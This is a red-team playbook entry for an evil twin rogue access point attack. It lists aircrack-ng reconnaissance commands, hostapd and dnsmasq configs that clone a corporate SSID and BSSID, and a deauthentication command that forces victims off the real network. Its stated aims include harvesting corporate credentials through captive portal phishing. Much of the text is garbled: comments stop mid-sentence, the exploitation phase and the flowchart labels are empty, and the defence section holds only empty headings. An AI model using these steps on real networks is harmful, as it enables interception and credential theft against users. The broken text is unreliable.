rogue-access-point-evil-twin

Rogue Access Point (Evil Twin)

When to Use

• When conducting physical Red Team operations or precise Wireless Penetration Tests to validate if corporate employees will connect to untrusted networks (e.g., verifying Guest network isolation or testing Security Awareness).
• To aggressively intercept wireless network traffic when standard passive sniffing (monitor mode) yields only encrypted WPA2/WPA3 packets, which require offline cracking.
• To harvest corporate credentials directly from users via sophisticated Captive Portal phishing campaigns mimicking the target organization's authentic login page.

Prerequisites

• Wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH)
• Kali Linux or similar distribution with aircrack-ng suite installed
• Physical proximity to the target wireless network
• Authorization to test the target wireless infrastructure

Workflow

Phase 1: Reconnaissance (The Setup)

# Concept: To clone a network 1. Start Interface airmon-ng start wlan1

# 2. Sniff airodump-ng wlan1mon

# Target BSSID: 00:11:22:33:44:55
# Target SSID: "Corporate_Private"
# Target Channel: 6

Phase 2: Building the Evil Twin

# Concept: We must 1. Configure Hostapd # cat <<EOF > hostapd.conf
interface=wlan1mon
ssid=Corporate_Private
bssid=00:11:22:33:44:55
hw_mode=g
channel=6
EOF

# 2. Configure # cat <<EOF > dnsmasq.conf
interface=wlan1mon
dhcp-range=192.168.1.10,192.168.1.100,8h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
EOF

# 3. Start hostapd hostapd.conf &
dnsmasq -C dnsmasq.conf -d &

Phase 3: The Forced Migration (Deauthentication)

# Send aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c [VICTIM_MAC] wlan2mon

Phase 4: Exploitation (Captive Portal / MitM)

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Setup ] --> B[Host ]
    B --> C{Does ]}
    C -->|Yes| D[Capture ]
    C -->|No| E[Increase ]
    D --> F[Maintain ]

🔵 Blue Team Detection & Defense

• Wireless Intrusion Prevention System (WIPS): 802.1X / Enterprise Security: Client-Side Awareness: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Rogue Access Point Evil Twin — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]